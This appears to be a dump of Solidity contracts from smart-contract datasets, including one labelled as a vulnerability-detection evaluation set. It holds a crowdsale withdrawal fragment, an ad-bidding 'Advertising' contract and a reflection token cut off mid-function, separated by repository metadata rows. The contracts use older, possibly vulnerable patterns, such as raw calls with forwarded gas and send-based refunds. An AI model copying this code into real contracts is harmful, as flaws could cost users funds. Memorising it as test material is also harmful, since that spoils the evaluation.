members[msg.sender].balance = members[msg.sender].balance.add(tokens);
emit Transfer(address(this), msg.sender, tokens);
// Update crowdsale states
crowdsaleRaised = crowdsaleRaised.add(msg.value);
if(members[address(this)].balance == 0) {
// Close crowdsale if all tokens are sold out
crowdsaleOpen = false;
crowdsaleFinished = true;
emit CrowdsaleFinished(true);
}
// Forward msg.value (attached Ether) to crowdsaleWallet and trigger 'ForwardCrowdsaleFunds'-event
emit ForwardCrowdsaleFunds(crowdsaleWallet, msg.value);
crowdsaleWallet.transfer(msg.value);
}
function crowdsaleCalcTokenAmount (uint256 _weiAmount) public view returns (uint256) {
// Multiplied by totalSupply to avoid floats in calculation
return
// _weiAmount * totalSupply / crowdsaleCap * crowdsaleSupply / totalSupply
_weiAmount
.mul(totalSupply)
.div(crowdsaleCap)
.mul(totalSupply.sub(members[memberIndex[0]].balance))
.div(totalSupply);
}
function withdrawOf (address _beneficiary) external { _withdraw(_beneficiary); }
function withdraw () external { _withdraw(msg.sender); }
function balanceOf (address _beneficiary) public view returns (uint256) { return members[_beneficiary].balance; }
function unpaidOf (address _beneficiary) public view returns (uint256) { return members[_beneficiary].unpaid.sub(1); }
function crowdsaleIsMemberOf (address _beneficiary) public view returns (bool) { return members[_beneficiary].unpaid >= 1; }
function crowdsaleRemainingWei () public view returns (uint256) { return crowdsaleCap.sub(crowdsaleRaised); }
function crowdsaleRemainingToken () public view returns (uint256) { return members[address(this)].balance; }
function crowdsalePercentOfTotalSupply () public view returns (uint256) { return totalSupply.sub(members[memberIndex[0]].balance).mul(100).div(totalSupply); }
// -------------------------------------------------------------------------
// Private functions, can only be called by this contract
// -------------------------------------------------------------------------
function _withdraw (address _beneficiary) private {
// Pre-validate withdrawal
if(msg.sender != _beneficiary) {
require(msg.sender == owner || msg.sender == withdrawer, "Only 'owner' and 'withdrawer' can withdraw for other members.");
}
require(members[_beneficiary].unpaid >= 1, "Not a member account.");
require(members[_beneficiary].unpaid > 1, "No unpaid balance on account.");
uint256 unpaid = members[_beneficiary].unpaid.sub(1);
members[_beneficiary].unpaid = 1;
// Trigger 'Withdraw'-event
emit Withdraw(_beneficiary, unpaid);
// Transfer the unpaid Wei amount to member address
if(_beneficiary != memberIndex[0]) {
// Client withdrawals rely on the 'gas stipend' (2300 gas) which has been checked during KYC
_beneficiary.transfer(unpaid);
} else {
// Team-contract withdrawals obtain up to 100 times more gas for further automatic processing
require(_beneficiary.call.gas(230000).value(unpaid)());
}
}
}
| 187,880 | 110 |
7b8d192bc89ebafd6f79a82be8334bfb80ceba59e17ba853d7a42b6f98cd966d
| 27,496 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9c03f5e26363b2d6981ae633db1fafb04b0b1bbc.sol
| 6,053 | 20,468 |
pragma solidity ^0.4.24;
interface AdvertisingInterface {
function incrementBetCounter() external returns (bool);
}
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract developed {
address public developer;
constructor() public {
developer = msg.sender;
}
modifier onlyDeveloper {
require(msg.sender == developer);
_;
}
function changeDeveloper(address _developer) public onlyDeveloper {
developer = _developer;
}
function withdrawToken(address tokenContractAddress) public onlyDeveloper {
TokenERC20 _token = TokenERC20(tokenContractAddress);
if (_token.balanceOf(this) > 0) {
_token.transfer(developer, _token.balanceOf(this));
}
}
}
contract Advertising is developed, AdvertisingInterface {
using SafeMath for uint256;
address private incrementer;
bool public paused;
bool public contractKilled;
uint256 public numCreatives;
uint256 public numCreativeTypes;
uint256 public maxCountPerCreativeType;
uint256 public earnedBalance;
struct Creative {
bytes32 creativeId;
address advertiser;
uint256 creativeTypeId; // This determines the creative size and where we display it
string name;
uint256 weiBudget;
uint256 weiPerBet;
uint256 betCounter;
int256 position;
string url;
string imageUrl;
bool approved;
uint256 createdOn;
}
struct CreativeType {
string name;
uint256 width;
uint256 height;
uint256 position;
bool active;
}
mapping (bytes32 => Creative) public creatives;
mapping (bytes32 => uint256) private creativeIdLookup;
mapping (uint256 => CreativeType) public creativeTypes;
mapping (address => uint256) public advertiserPendingWithdrawals;
mapping (uint256 => bytes32[]) public pendingCreativePosition;
mapping (uint256 => bytes32[]) public approvedCreativePosition;
event LogAddCreativeType(uint256 indexed creativeTypeId, string name, uint256 width, uint256 height, uint256 position);
event LogSetActiveCreativeType(uint256 creativeTypeId, bool active);
event LogApproveCreative(bytes32 indexed creativeId, address indexed advertiser, uint256 indexed creativeTypeId, int256 position);
event LogEscapeHatch();
event LogCreateCreative(bytes32 indexed creativeId, address indexed advertiser, uint256 indexed creativeTypeId, string name, uint256 weiBudget, uint256 weiPerBet, int256 position);
event LogRefundCreative(bytes32 indexed creativeId, address indexed advertiser, uint256 refundAmount, uint256 creativeStatus, uint256 refundStatus);
event LogWithdrawBalance(address indexed advertiser, uint256 withdrawAmount, uint256 status);
event LogIncrementBetCounter(bytes32 indexed creativeId, address indexed advertiser, uint256 numBets);
constructor(address _incrementer) public {
devSetMaxCountPerCreativeType(10);
devSetIncrementer(_incrementer);
}
modifier contractIsAlive {
require(contractKilled == false);
_;
}
modifier isActive {
require(paused == false);
_;
}
modifier creativeIsValid(uint256 creativeTypeId, string name, uint256 weiBudget, uint256 weiPerBet, string url, string imageUrl) {
require (creativeTypes[creativeTypeId].active == true &&
bytes(name).length > 0 &&
weiBudget > 0 &&
weiPerBet > 0 &&
weiBudget >= weiPerBet &&
bytes(url).length > 0 &&
bytes(imageUrl).length > 0 &&
(pendingCreativePosition[creativeTypeId].length < maxCountPerCreativeType ||
(pendingCreativePosition[creativeTypeId].length == maxCountPerCreativeType && weiPerBet > creatives[pendingCreativePosition[creativeTypeId][maxCountPerCreativeType-1]].weiPerBet)));
_;
}
modifier onlyIncrementer {
require (msg.sender == incrementer);
_;
}
function devSetIncrementer(address _incrementer) public onlyDeveloper {
incrementer = _incrementer;
}
function devGetIncrementer() public onlyDeveloper constant returns (address) {
return incrementer;
}
function devSetMaxCountPerCreativeType(uint256 _maxCountPerCreativeType) public onlyDeveloper {
require (_maxCountPerCreativeType > 0);
maxCountPerCreativeType = _maxCountPerCreativeType;
}
function devAddCreativeType(string name, uint256 width, uint256 height, uint256 position) public onlyDeveloper {
require (width > 0 && height > 0 && position > 0);
// Increment num creative types
numCreativeTypes++;
CreativeType storage _creativeType = creativeTypes[numCreativeTypes];
// Store the info about this creative type
_creativeType.name = name;
_creativeType.width = width;
_creativeType.height = height;
_creativeType.position = position;
_creativeType.active = true;
emit LogAddCreativeType(numCreativeTypes, _creativeType.name, _creativeType.width, _creativeType.height, _creativeType.position);
}
function devSetActiveCreativeType(uint256 creativeTypeId, bool active) public onlyDeveloper {
creativeTypes[creativeTypeId].active = active;
emit LogSetActiveCreativeType(creativeTypeId, active);
}
function devApproveCreative(bytes32 creativeId) public onlyDeveloper {
Creative storage _creative = creatives[creativeId];
require (_creative.approved == false && _creative.position > -1 && _creative.createdOn > 0);
_creative.approved = true;
_removePending(creativeId);
_insertSortApprovedCreative(_creative.creativeTypeId, _creative.creativeId);
}
function devWithdrawEarnedBalance() public onlyDeveloper returns (bool) {
require (earnedBalance > 0);
require (address(this).balance >= earnedBalance);
uint256 withdrawAmount = earnedBalance;
earnedBalance = 0;
if (!developer.send(withdrawAmount)) {
earnedBalance = withdrawAmount;
return false;
} else {
return true;
}
}
function devEndCreative(bytes32 creativeId) public onlyDeveloper {
_endCreative(creativeId);
}
function devSetPaused(bool _paused) public onlyDeveloper {
paused = _paused;
}
function escapeHatch() public onlyDeveloper contractIsAlive returns (bool) {
contractKilled = true;
if (earnedBalance > 0) {
uint256 withdrawAmount = earnedBalance;
earnedBalance = 0;
if (!developer.send(withdrawAmount)) {
earnedBalance = withdrawAmount;
}
}
if (numCreativeTypes > 0) {
for (uint256 i=1; i <= numCreativeTypes; i++) {
uint256 creativeCount = pendingCreativePosition[i].length;
if (creativeCount > 0) {
for (uint256 j=0; j < creativeCount; j++) {
Creative memory _creative = creatives[pendingCreativePosition[i][j]];
// let advertiser withdraw via advertiserPendingWithdrawals
advertiserPendingWithdrawals[_creative.advertiser] = advertiserPendingWithdrawals[_creative.advertiser].add(_creative.weiBudget);
}
}
creativeCount = approvedCreativePosition[i].length;
if (creativeCount > 0) {
for (j=0; j < creativeCount; j++) {
_creative = creatives[approvedCreativePosition[i][j]];
uint256 refundAmount = _creative.weiBudget.sub(_creative.betCounter.mul(_creative.weiPerBet));
// let advertiser withdraw via advertiserPendingWithdrawals
advertiserPendingWithdrawals[_creative.advertiser] = advertiserPendingWithdrawals[_creative.advertiser].add(refundAmount);
}
}
}
}
emit LogEscapeHatch();
return true;
}
function incrementBetCounter() public onlyIncrementer contractIsAlive isActive returns (bool) {
if (numCreativeTypes > 0) {
for (uint256 i=1; i <= numCreativeTypes; i++) {
CreativeType memory _creativeType = creativeTypes[i];
uint256 creativeCount = approvedCreativePosition[i].length;
if (_creativeType.active == false || creativeCount == 0) {
continue;
}
Creative storage _creative = creatives[approvedCreativePosition[i][0]];
_creative.betCounter++;
emit LogIncrementBetCounter(_creative.creativeId, _creative.advertiser, _creative.betCounter);
uint256 totalSpent = _creative.weiPerBet.mul(_creative.betCounter);
if (totalSpent > _creative.weiBudget) {
earnedBalance = earnedBalance.add(_creative.weiBudget.sub(_creative.weiPerBet.mul(_creative.betCounter.sub(1))));
_removeApproved(_creative.creativeId);
} else {
earnedBalance = earnedBalance.add(_creative.weiPerBet);
}
}
}
return true;
}
function createCreative(uint256 creativeTypeId, string name, uint256 weiPerBet, string url, string imageUrl)
public
payable
contractIsAlive
isActive
creativeIsValid(creativeTypeId, name, msg.value, weiPerBet, url, imageUrl) {
// Increment num creatives
numCreatives++;
// Generate ID for this creative
bytes32 creativeId = keccak256(abi.encodePacked(this, msg.sender, numCreatives));
Creative storage _creative = creatives[creativeId];
// Store the info about this creative
_creative.creativeId = creativeId;
_creative.advertiser = msg.sender;
_creative.creativeTypeId = creativeTypeId;
_creative.name = name;
_creative.weiBudget = msg.value;
_creative.weiPerBet = weiPerBet;
_creative.url = url;
_creative.imageUrl = imageUrl;
_creative.createdOn = now;
// Decide which position this creative is
_insertSortPendingCreative(creativeTypeId, creativeId);
}
function endCreative(bytes32 creativeId) public
contractIsAlive
isActive {
Creative storage _creative = creatives[creativeId];
require (_creative.advertiser == msg.sender);
_endCreative(creativeId);
}
function withdrawPendingTransactions() public {
uint256 withdrawAmount = advertiserPendingWithdrawals[msg.sender];
require (withdrawAmount > 0);
require (address(this).balance >= withdrawAmount);
advertiserPendingWithdrawals[msg.sender] = 0;
// External call to untrusted contract
if (msg.sender.send(withdrawAmount)) {
emit LogWithdrawBalance(msg.sender, withdrawAmount, 1);
} else {
advertiserPendingWithdrawals[msg.sender] = withdrawAmount;
emit LogWithdrawBalance(msg.sender, withdrawAmount, 0);
}
}
function _insertSortPendingCreative(uint256 creativeTypeId, bytes32 creativeId) internal {
pendingCreativePosition[creativeTypeId].push(creativeId);
uint256 pendingCount = pendingCreativePosition[creativeTypeId].length;
bytes32[] memory copyArray = new bytes32[](pendingCount);
for (uint256 i=0; i<pendingCount; i++) {
copyArray[i] = pendingCreativePosition[creativeTypeId][i];
}
uint256 value;
bytes32 key;
for (i = 1; i < copyArray.length; i++) {
key = copyArray[i];
value = creatives[copyArray[i]].weiPerBet;
for (uint256 j=i; j > 0 && creatives[copyArray[j-1]].weiPerBet < value; j--) {
copyArray[j] = copyArray[j-1];
}
copyArray[j] = key;
}
for (i=0; i<pendingCount; i++) {
pendingCreativePosition[creativeTypeId][i] = copyArray[i];
creatives[copyArray[i]].position = int(i);
}
Creative memory _creative = creatives[creativeId];
emit LogCreateCreative(_creative.creativeId, _creative.advertiser, _creative.creativeTypeId, _creative.name, _creative.weiBudget, _creative.weiPerBet, _creative.position);
// If total count is more than max count, then we want to refund the last ad
if (pendingCount > maxCountPerCreativeType) {
bytes32 removeCreativeId = pendingCreativePosition[creativeTypeId][pendingCount-1];
creatives[removeCreativeId].position = -1;
delete pendingCreativePosition[creativeTypeId][pendingCount-1];
pendingCreativePosition[creativeTypeId].length--;
_refundPending(removeCreativeId);
}
}
function _refundPending(bytes32 creativeId) internal {
Creative memory _creative = creatives[creativeId];
require (address(this).balance >= _creative.weiBudget);
require (_creative.position == -1);
if (!_creative.advertiser.send(_creative.weiBudget)) {
emit LogRefundCreative(_creative.creativeId, _creative.advertiser, _creative.weiBudget, 0, 0);
// If send failed, let advertiser withdraw via advertiserPendingWithdrawals
advertiserPendingWithdrawals[_creative.advertiser] = advertiserPendingWithdrawals[_creative.advertiser].add(_creative.weiBudget);
} else {
emit LogRefundCreative(_creative.creativeId, _creative.advertiser, _creative.weiBudget, 0, 1);
}
}
function _insertSortApprovedCreative(uint256 creativeTypeId, bytes32 creativeId) internal {
approvedCreativePosition[creativeTypeId].push(creativeId);
uint256 approvedCount = approvedCreativePosition[creativeTypeId].length;
bytes32[] memory copyArray = new bytes32[](approvedCount);
for (uint256 i=0; i<approvedCount; i++) {
copyArray[i] = approvedCreativePosition[creativeTypeId][i];
}
uint256 value;
bytes32 key;
for (i = 1; i < copyArray.length; i++) {
key = copyArray[i];
value = creatives[copyArray[i]].weiPerBet;
for (uint256 j=i; j > 0 && creatives[copyArray[j-1]].weiPerBet < value; j--) {
copyArray[j] = copyArray[j-1];
}
copyArray[j] = key;
}
for (i=0; i<approvedCount; i++) {
approvedCreativePosition[creativeTypeId][i] = copyArray[i];
creatives[copyArray[i]].position = int(i);
}
Creative memory _creative = creatives[creativeId];
emit LogApproveCreative(_creative.creativeId, _creative.advertiser, _creative.creativeTypeId, _creative.position);
// If total count is more than max count, then we want to refund the last ad
if (approvedCount > maxCountPerCreativeType) {
bytes32 removeCreativeId = approvedCreativePosition[creativeTypeId][approvedCount-1];
creatives[removeCreativeId].position = -1;
delete approvedCreativePosition[creativeTypeId][approvedCount-1];
approvedCreativePosition[creativeTypeId].length--;
_refundApproved(removeCreativeId);
}
}
function _refundApproved(bytes32 creativeId) internal {
Creative memory _creative = creatives[creativeId];
uint256 refundAmount = _creative.weiBudget.sub(_creative.betCounter.mul(_creative.weiPerBet));
require (address(this).balance >= refundAmount);
require (_creative.position == -1);
if (!_creative.advertiser.send(refundAmount)) {
emit LogRefundCreative(_creative.creativeId, _creative.advertiser, refundAmount, 1, 0);
// If send failed, let advertiser withdraw via advertiserPendingWithdrawals
advertiserPendingWithdrawals[_creative.advertiser] = advertiserPendingWithdrawals[_creative.advertiser].add(refundAmount);
} else {
emit LogRefundCreative(_creative.creativeId, _creative.advertiser, refundAmount, 1, 1);
}
}
function _endCreative(bytes32 creativeId) internal {
Creative storage _creative = creatives[creativeId];
require (_creative.position > -1 && _creative.createdOn > 0);
if (_creative.approved == false) {
_removePending(creativeId);
_refundPending(creativeId);
} else {
_removeApproved(creativeId);
_refundApproved(creativeId);
}
}
function _removePending(bytes32 creativeId) internal {
Creative storage _creative = creatives[creativeId];
uint256 pendingCount = pendingCreativePosition[_creative.creativeTypeId].length;
if (_creative.position >= int256(pendingCount)) return;
for (uint256 i = uint256(_creative.position); i < pendingCount-1; i++){
pendingCreativePosition[_creative.creativeTypeId][i] = pendingCreativePosition[_creative.creativeTypeId][i+1];
creatives[pendingCreativePosition[_creative.creativeTypeId][i]].position = int256(i);
}
_creative.position = -1;
delete pendingCreativePosition[_creative.creativeTypeId][pendingCount-1];
pendingCreativePosition[_creative.creativeTypeId].length--;
}
function _removeApproved(bytes32 creativeId) internal {
Creative storage _creative = creatives[creativeId];
uint256 approvedCount = approvedCreativePosition[_creative.creativeTypeId].length;
if (_creative.position >= int256(approvedCount)) return;
for (uint256 i = uint256(_creative.position); i < approvedCount-1; i++){
approvedCreativePosition[_creative.creativeTypeId][i] = approvedCreativePosition[_creative.creativeTypeId][i+1];
creatives[approvedCreativePosition[_creative.creativeTypeId][i]].position = int256(i);
}
_creative.position = -1;
delete approvedCreativePosition[_creative.creativeTypeId][approvedCount-1];
approvedCreativePosition[_creative.creativeTypeId].length--;
}
}
| 215,891 | 111 |
6c24ea73034e842885b94e7349745efda9de65b0b6d5dae01d25985c45f8e39b
| 26,383 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/93/938b9a8ad0c0fB2437c51Aef9F0ca0C4cbA0e068_Hahaha.sol
| 4,441 | 16,379 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Hahaha is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Haha';
string private _symbol = 'ha1';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
